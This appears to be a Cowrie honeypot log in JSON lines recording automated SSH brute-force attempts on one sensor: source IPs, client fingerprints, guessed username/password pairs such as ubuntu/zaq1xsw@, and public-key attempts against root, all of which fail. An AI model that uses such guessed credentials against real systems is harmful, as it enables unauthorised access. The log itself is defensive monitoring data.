{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":43794,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b3f668cd1d","protocol":"ssh","message":"New connection: 165.227.170.113:43794 (10.17.0.5:22) [session: 75b3f668cd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:49.364903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:49.369145Z","src_ip":"165.227.170.113","session":"75b3f668cd1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:49.452374Z","src_ip":"165.227.170.113","session":"75b3f668cd1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3r4t5","message":"login attempt [user/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:49.816561Z","src_ip":"165.227.170.113","session":"75b3f668cd1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:50.903700Z","src_ip":"165.227.170.113","session":"75b3f668cd1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":5833,"dst_ip":"10.17.0.5","dst_port":22,"session":"db6dcee84ddf","protocol":"ssh","message":"New connection: 223.233.84.127:5833 (10.17.0.5:22) [session: db6dcee84ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:20.022013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:20.027481Z","src_ip":"223.233.84.127","session":"db6dcee84ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:20.335307Z","src_ip":"223.233.84.127","session":"db6dcee84ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq1xsw@","message":"login attempt [ubuntu/zaq1xsw@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:21.397513Z","src_ip":"223.233.84.127","session":"db6dcee84ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:22.657842Z","src_ip":"223.233.84.127","session":"db6dcee84ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":53370,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ab305eb6de","protocol":"ssh","message":"New connection: 165.227.170.113:53370 (10.17.0.5:22) [session: 39ab305eb6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:32.326030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:32.330897Z","src_ip":"165.227.170.113","session":"39ab305eb6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:32.412795Z","src_ip":"165.227.170.113","session":"39ab305eb6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"test123","message":"login attempt [sysadmin/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:32.772828Z","src_ip":"165.227.170.113","session":"39ab305eb6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.135.73.205","src_port":52216,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc9edb7f4af","protocol":"ssh","message":"New connection: 88.135.73.205:52216 (10.17.0.5:22) [session: 2bc9edb7f4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.387789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.392468Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.420823Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:65:be:d5:8b:02:0f:41:fa:34:03:06:f5:ab:87:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrEf+OELjmSTlgSra+rMPa64CcVU6n3/Yd7AzHxAq20bj7Hn4kbphmFfNrDWbavUJ10X2XP37H9l5spPzjfsL+bis340P1Q9bUoHNZUZ2SVB/FURXWduDcJaMcu/qodE/xOhxgRbpTJ1hFXXcf40vtC96UIoc48QTkZZMmJv8taJydKUqJlciLJVyP7EaEy/g8UnffiDJZCHuyfW/O8HTso1+fye0wYwoFuTv99NWtke2AkrhRVil6Tjn1e5+xSJwvFWyckrFP4PBEoTNTm+87rRn4ZPaI5BEG1zmhWfPu0k+aTxkmaX+jTNfnpWErXtNF9bl+Kj7V7SHuTt9ysP4/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:65:be:d5:8b:02:0f:41:fa:34:03:06:f5:ab:87:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.536859Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:65:be:d5:8b:02:0f:41:fa:34:03:06:f5:ab:87:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrEf+OELjmSTlgSra+rMPa64CcVU6n3/Yd7AzHxAq20bj7Hn4kbphmFfNrDWbavUJ10X2XP37H9l5spPzjfsL+bis340P1Q9bUoHNZUZ2SVB/FURXWduDcJaMcu/qodE/xOhxgRbpTJ1hFXXcf40vtC96UIoc48QTkZZMmJv8taJydKUqJlciLJVyP7EaEy/g8UnffiDJZCHuyfW/O8HTso1+fye0wYwoFuTv99NWtke2AkrhRVil6Tjn1e5+xSJwvFWyckrFP4PBEoTNTm+87rRn4ZPaI5BEG1zmhWfPu0k+aTxkmaX+jTNfnpWErXtNF9bl+Kj7V7SHuTt9ysP4/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.540573Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:3a:c1:9d:03:fc:97:f8:7b:cb:0c:af:e1:89:c5:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtwLmrr8c9B+MB/AhrwPFIhuBZL+Pwutq545tPbcji/i/yrNMq27DnVjfjAlPoUxiLQMnLK+jT+cvLkmHA7GTYjxoqMskgm+TJWqcKVC6YWgnQYGZdU5OPfLf4e7QKMjpMS5UGGC6HRm88To1rsHCekQZiUOIjwGQfhvW/+aZ1jobHiWoyH4ekXuR+3u6yIUVFQSPU/s8cSbULoISlmqIxBkr9lPndnQjr0w4TKLyvvctOwHxTxZtIbdlgxNKdhpm3vgYx7cMqUvf6PvQZ97UFm1cc3O6V1FjFW1MUHmANnKSpb6Tf9JHhQI4BQcgq8kQtOYrHKbN3woti60tlPoskw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:3a:c1:9d:03:fc:97:f8:7b:cb:0c:af:e1:89:c5:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.568826Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:3a:c1:9d:03:fc:97:f8:7b:cb:0c:af:e1:89:c5:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtwLmrr8c9B+MB/AhrwPFIhuBZL+Pwutq545tPbcji/i/yrNMq27DnVjfjAlPoUxiLQMnLK+jT+cvLkmHA7GTYjxoqMskgm+TJWqcKVC6YWgnQYGZdU5OPfLf4e7QKMjpMS5UGGC6HRm88To1rsHCekQZiUOIjwGQfhvW/+aZ1jobHiWoyH4ekXuR+3u6yIUVFQSPU/s8cSbULoISlmqIxBkr9lPndnQjr0w4TKLyvvctOwHxTxZtIbdlgxNKdhpm3vgYx7cMqUvf6PvQZ97UFm1cc3O6V1FjFW1MUHmANnKSpb6Tf9JHhQI4BQcgq8kQtOYrHKbN3woti60tlPoskw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.572620Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:9b:53:9d:2c:44:3f:44:9d:19:83:9f:e3:a5:e1:38","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOBknXX4T9A4ENyZy6x9qnyaJLoBHsFDAn0XqMpsix02","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 84:9b:53:9d:2c:44:3f:44:9d:19:83:9f:e3:a5:e1:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.601998Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:9b:53:9d:2c:44:3f:44:9d:19:83:9f:e3:a5:e1:38","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOBknXX4T9A4ENyZy6x9qnyaJLoBHsFDAn0XqMpsix02","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.606018Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:61:a8:12:5d:04:d1:fb:eb:22:1f:e8:f5:26:af:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDo0SXkSaskmaizhQ2KVNeP7u7WwAHqCon6yB6IfXTPRQrdKg2YojqnHiyYBWHV7j5vzBq9oGLBlGQiUqPPPyZVr6Ymx4+aaByy+QDzA1a/MCnLuxfBf+RmWewpUrBsWcVUb5MMIubJ8aQFTCwf3BLpOip8TatOutV/fR6LFy+hB/OR1sQ6uUd/Hs39nkVyOxipYEnGdSHw5UMmJbu/nbKycFNnVuL32KASmsl7Fi3ujyh1WzF5bsy+aYnkpZdO93wD/cX+ymbJMsmfSphIND7p8M/uDQtiZoNlzUI7VLi4NSS6wkZudwr9+KizTb43ONY7W/vXepaLOfMQhJ5EwsXil/9WOVg3ZvW+yMhalyn/BNTAVVymKh8EuirYcAJ2EdGJSEg3u6qnyLq6rmsW30420U5O7K4ikvPegtYrzHM5BH/iXWAWbPLHxDUTJSErQBjWR+hYP6NwsgGXJmTIdVKML0zVSmp1gmFh3xOiutR/C+aRLtaUB6va/KRNyRZn470=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:61:a8:12:5d:04:d1:fb:eb:22:1f:e8:f5:26:af:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.635929Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:61:a8:12:5d:04:d1:fb:eb:22:1f:e8:f5:26:af:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDo0SXkSaskmaizhQ2KVNeP7u7WwAHqCon6yB6IfXTPRQrdKg2YojqnHiyYBWHV7j5vzBq9oGLBlGQiUqPPPyZVr6Ymx4+aaByy+QDzA1a/MCnLuxfBf+RmWewpUrBsWcVUb5MMIubJ8aQFTCwf3BLpOip8TatOutV/fR6LFy+hB/OR1sQ6uUd/Hs39nkVyOxipYEnGdSHw5UMmJbu/nbKycFNnVuL32KASmsl7Fi3ujyh1WzF5bsy+aYnkpZdO93wD/cX+ymbJMsmfSphIND7p8M/uDQtiZoNlzUI7VLi4NSS6wkZudwr9+KizTb43ONY7W/vXepaLOfMQhJ5EwsXil/9WOVg3ZvW+yMhalyn/BNTAVVymKh8EuirYcAJ2EdGJSEg3u6qnyLq6rmsW30420U5O7K4ikvPegtYrzHM5BH/iXWAWbPLHxDUTJSErQBjWR+hYP6NwsgGXJmTIdVKML0zVSmp1gmFh3xOiutR/C+aRLtaUB6va/KRNyRZn470=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.640277Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:26:3a:cf:a0:49:73:2f:d0:76:57:2e:5c:b6:02:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzy9Yf2DXwjtuivoH6huK6iBFU4prsPUFMr7LB2UYzG9PcMAWvzy4N5sEfREsiB0UPLhNsIPs1MavDx9iXYX0pHMCMoYYOTGIZvLhxqBd2dElFiTHN/FfMWWS6ER+UqLHR6DasQ3qYXfSxyM50aXglIS+CTx+4bZFlelRI3jY0RvGxBPbAQSPN2Zcg03gbNQQ/5ao9lVfz/mp+LYjHAFRbc7izIlxksWdJTFmT5ANxqfSQiSN9ZFsZK78QG+Tlfi4eWIHAUfwzgdENpbzZUlVW67RcRHOutZxe6bj3RSaxP5f2jytSduMBuId227vZ5ctT9yVy84QEykLM9Fl1hsWR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:26:3a:cf:a0:49:73:2f:d0:76:57:2e:5c:b6:02:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.668939Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:26:3a:cf:a0:49:73:2f:d0:76:57:2e:5c:b6:02:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzy9Yf2DXwjtuivoH6huK6iBFU4prsPUFMr7LB2UYzG9PcMAWvzy4N5sEfREsiB0UPLhNsIPs1MavDx9iXYX0pHMCMoYYOTGIZvLhxqBd2dElFiTHN/FfMWWS6ER+UqLHR6DasQ3qYXfSxyM50aXglIS+CTx+4bZFlelRI3jY0RvGxBPbAQSPN2Zcg03gbNQQ/5ao9lVfz/mp+LYjHAFRbc7izIlxksWdJTFmT5ANxqfSQiSN9ZFsZK78QG+Tlfi4eWIHAUfwzgdENpbzZUlVW67RcRHOutZxe6bj3RSaxP5f2jytSduMBuId227vZ5ctT9yVy84QEykLM9Fl1hsWR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.673155Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.703081Z","src_ip":"88.135.73.205","session":"2bc9edb7f4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:51:33.859122Z","src_ip":"165.227.170.113","session":"39ab305eb6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":38525,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0ac72e2975","protocol":"ssh","message":"New connection: 213.209.159.56:38525 (10.17.0.5:22) [session: 2b0ac72e2975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.020778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.025948Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.108794Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00207567214966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.380792Z","src_ip":"38.25.25.113","session":"6dd135445e45","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias","message":"login attempt [matthias/matthias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.511717Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017261505127,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.732610Z","src_ip":"38.25.25.113","session":"7f15c2c4ad81","protocol":"telnet"}
